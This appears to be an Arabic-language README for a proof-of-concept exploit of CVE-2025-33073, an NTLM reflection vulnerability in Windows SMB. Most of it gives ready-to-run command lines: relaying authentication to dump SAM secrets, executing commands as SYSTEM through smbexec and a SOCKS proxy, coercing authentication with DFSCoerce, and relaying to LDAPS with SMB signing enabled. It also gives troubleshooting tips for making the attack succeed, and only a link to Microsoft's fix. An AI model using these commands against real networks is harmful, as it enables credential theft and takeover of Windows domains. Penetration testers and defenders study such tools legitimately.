CVE-2025-33073

إثبات المفهوم (PoC) لاستغلال ثغرة انعكاس NTLM في بروتوكول SMB.

جميع الشكر للبحث الرسمي:
https://www.synacktiv.com/en/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025

المتطلبات الأساسية

نظام التشغيل: Kali Linux (لديه معظم الحزم مثبتة مسبقًا).

• NetExec (NXC) - https://github.com/Pennyw0rth/NetExec
• impacket-ntlmrelayx
• dnstool.py (مضمن في المستودع)

الإعداد

ستستخدم الأداة بيئة افتراضية تلقائيًا. لتشغيلها، نفّذ:

./setup.sh

سيؤدي ذلك إلى إنشاء بيئة افتراضية وتثبيت جميع التبعيات المطلوبة بما في ذلك ldap3-bleeding-edge==2.10.1.1337.

مثال للاستخدام

python3 CVE-2025-33073.py -u 'wintastic.local\mathijs' -p 'password' --attacker-ip 192.168.178.49 --dns-ip 192.168.178.138 --dc-fqdn DC01.wintastic.local --target CLIENT01.wintastic.local --target-ip 192.168.178.65

أمر مخصص
بدلاً من تشغيل secretsdump، يمكن تنفيذ أمر مخصص.

python3 CVE-2025-33073.py -u 'wintastic.local\mathijs' -p 'password' --attacker-ip 192.168.178.49 --dns-ip 192.168.178.138 --dc-fqdn DC01.wintastic.local --target CLIENT01.wintastic.local --target-ip 192.168.178.65 --custom-command "whoami"

SOCKS
للتنفيذ الخفي للأوامر بعد إنشاء اتصال صالح كـ SYSTEM. يجب أن يكون --target و --target-ip متساويين هنا.

python3 CVE-2025-33073.py -u 'wintastic.local\mathijs' -p 'password' --attacker-ip 192.168.178.49 --dns-ip 192.168.178.138 --dc-fqdn DC01.wintastic.local --target 192.168.178.65 --target-ip 192.168.178.65 --socks

يمكن أيضًا تشغيل أمر مخصص عبر proxychains بدلاً من تفريغ SAM.

proxychains nxc smb 192.168.178.65 -d '' -u '' -p '' -x 'whoami' --exec-method smbexec

استغلال الترحيل إلى LDAPS حتى مع تفعيل توقيع SMB

تم إجراء بحث لمعرفة ما إذا كان الانعكاس لا يعمل حقًا مع تفعيل توقيع SMB، مما أدى إلى العثور على أخطاء حيث إذا تمت إزالة SIGN/SEAL من الحزمة، فمن الممكن الترحيل من SMB إلى LDAPS وهو ما لا يكون ممكنًا عادةً بسبب MIC.

الشكر لـ:

• https://github.com/decoder-it/impacket-partial-mic/
• https://decoder.cloud/2025/11/24/reflecting-your-authentication-when-windows-ends-up-talking-to-itself/
• https://www.depthsecurity.com/blog/using-ntlm-reflection-to-own-active-directory/

python3 CVE-2025-33073.py -u "thewoods.local\test" -p 'pass' -d 192.168.204.131 --dns-ip 192.168.204.133 --dc-fqdn DC01.thewoods.local --target 192.168.204.133 --target-ip 192.168.204.133 -M DFSCoerce --smb-signing

الاستغلال اليدوي بدون الحاجة إلى DNS

إذا كنت في نفس نطاق البث (broadcast domain) مع الجهاز وكان عرضة لتسميم LLMNR، فمن الممكن استغلال الجهاز دون الحاجة إلى تسجيل سجل DNS.

استكشاف الأخطاء وإصلاحها

• رأيت الهجوم لا يعمل أحيانًا لأنه يتم استخدام اسم المضيف (hostname) للهجوم مما يؤدي إلى استعلام DNS من Kali. إذا كان Kali لا يستخدم خادم DNS أو تلقيت رسالة '/ FAILED' من impacket-ntlmrelayx، حاول إضافة المضيف إلى ملف /etc/hosts. يجب أن يؤدي ذلك إلى نجاح الهجوم.
• إذا كنت تستخدم عنوان IP، يجب أن يعمل الهجوم. في بعض الأحيان، يؤدي تشغيله عدة مرات إلى النجاح بدلاً من الفشل. حتى الآن ليس من الواضح تمامًا لماذا يحدث هذا. أعتقد أن له علاقة بالشبكة.
• جرب طريقة إكراه أخرى باستخدام -M أو --method.

Wireshark

مصادقة NTLM المحلية تحدث

مصادقة NTLM المحلية لا تحدث مما يؤدي إلى محاولة فاشلة

من الجيد معرفته

• يجب أن يكون سجل DNS معروفًا أيضًا للعميل، وقد يستغرق ذلك وقتًا أطول في بعض الحالات. أعني بالوقت الأطول إعطاءه بضع دقائق.
• هذا مجرد إثبات مفهوم (PoC) مما يعني أن تجاوز برامج مكافحة الفيروسات/EDR لم يتم تجربته. الاستخدام على مسؤوليتك الخاصة.
  

كيفية الإصلاح

https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-33073